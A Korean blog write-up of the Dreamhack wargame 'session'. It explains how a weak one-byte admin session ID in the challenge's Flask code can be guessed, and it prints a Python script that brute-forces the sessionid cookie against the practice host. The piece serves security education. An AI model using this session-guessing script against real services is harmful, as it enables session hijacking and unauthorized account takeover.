| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | |||||
| 3 | 4 | 5 | 6 | 7 | 8 | 9 |
| 10 | 11 | 12 | 13 | 14 | 15 | 16 |
| 17 | 18 | 19 | 20 | 21 | 22 | 23 |
| 24 | 25 | 26 | 27 | 28 | 29 | 30 |
| 31 |
- 타입 변환 취약점
- session hijacking
- WEB
- Cross Site Script
- 웹해킹
- 드림핵
- WhiteHatSchool
- 한국정보기술연구원
- 워게임
- path traversal
- dev-tools
- Dreamhack
- 보안교육
- 보안
- php7.4
- cookie tampering
- KITRI
- cybersecurity
- php
- type juggling
- WarGame
- 정보보안
- loose comparison
- 화이트해커
- file download vulnerability
- 웹
- 화이트햇스쿨
- webhacking
- web-misconf-1
- cookie
- Today
- Total
xmi1e-vir.log
[Dreamhack] wargame 'session' write-up 본문
🌱 Biginner
문제링크
쿠키와 세션으로 인증 상태를 관리하는 간단한 로그인 서비스입니다.
admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다.
📌문제 파악
주어진 페이지는 username가 admin인 경우에 flag를 제공해준다.
@app.route('/')
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
유효한 유저목록은 아래와 같다.
users = {
'guest': 'guest',
'user': 'user1234',
'admin': FLAG
}
// 임시 세션 저장소
session_storage = {
}
로그인 과정을 살펴보면
유저이름에 알맞는 비밀번호가 입력되면 os.urandom(4).hex()을 통해 랜덤 session_id를 생성하고 sesson_storage의 해당 인덱스에 username을 저장한다.
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(4).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
📌문제 풀이
앞서 보았듯이 로그인에서 가장 핵심적인 정보가 session_id이다.
만약 우리가 guest로 로그인을 한 상태라면, session_storage에서 guest라는 username이 저장되어있는 위치가 바로 session_id인것이다.

따라서 우리가 로그인하고자 하는 admin의 세션 아이디를 알 수 있다면, 우리는 admin으로 로그인을 한것처럼 웹사이트를 속일 수 있다.
그렇다면 admin의 세션 아이디는 어디있을까?
바로 main()함수에서 찾아볼 수 있다.
if __name__ == '__main__':
import os
session_storage[os.urandom(1).hex()] = 'admin'
print(session_storage)
app.run(host='0.0.0.0', port=8000)
main()이 실행됨과 동시에 os.urandom(1).hex()라는 코드로 랜덤값을 생성하고, 이게 admin의 session_id가 된다.
os.urandom(1)은 딱 1바이트 (8비트) 를 생성하므로, 값의 범위는 0~255이고 총 256가지의 경우의 수가 있는것이다.
이정도면 브루트 포스(brute force)로 충분히 해결이 가능한 수준이기 때문에 gpt한테 시켜서 응답이 성공할때의 세션 아이디를 가져오는 코드를 작성했다.
import requests
# 문제의 웹사이트 주소
TARGET_URL = 'http://host8.dreamhack.games:port/'
SUCCESS_STRING = 'admin'
def find_admin_session():
"""
0x00부터 0xff까지 모든 세션 ID 값을 시도하여 admin 계정을 탐색
"""
print("... Admin 세션 ID 찾기 시작 ...")
# 0부터 255까지의 모든 경우의 수를 확인
for i in range(256):
# 숫자를 두 자리 16진수 문자열로 변환
session_id_to_try = f'{i:02x}'
cookies = {
'sessionid': session_id_to_try
}
try:
# 조작된 세션 쿠키를 포함하여 GET 요청
response = requests.get(TARGET_URL, cookies=cookies)
# 응답 내용(response.text)에 성공 문자열이 포함되어 있는지 확인
if SUCCESS_STRING in response.text:
print(f"\n[+] 성공! Admin 세션 ID를 찾았습니다: {session_id_to_try}")
return session_id_to_try
print(f"\r시도 중: {session_id_to_try}", end="")
except requests.exceptions.RequestException as e:
print(f"\n[!] 요청 중 오류가 발생했습니다: {e}")
return None
print("\n[-] 실패. Admin 세션 ID를 찾지 못했습니다.")
return None
if __name__ == '__main__':
find_admin_session()

guest, user와 같이 미리 주어진 계정으로 로그인 해놓은 뒤 session_id를 알아낸 값으로 바꾸면 아래와 같이 flag를 얻을 수 있다.

[참고할 자료]
문제를 풀고 나서 찾아본 다른 분들의 풀이중에 참고하면 좋을 풀이를 공유한다.
brup suite의 intrude 기능으로 브루트포스
https://alim11.tistory.com/408
'WARGAME > WEB' 카테고리의 다른 글
| [Dreamhack] wargame 'php7cmp4re' write-up (0) | 2025.09.23 |
|---|---|
| [Dreamhack] wargame 'web-misconf-1' write-up (0) | 2025.09.19 |
| [Dreamhack] wargame '🌱 simple-web-request' write-up (2) | 2025.09.12 |
| [Dreamhack] wargame 'Flying Chars' write-up (0) | 2025.09.11 |
| [Dreamhack] wargame 'phpreg' write-up (0) | 2025.09.08 |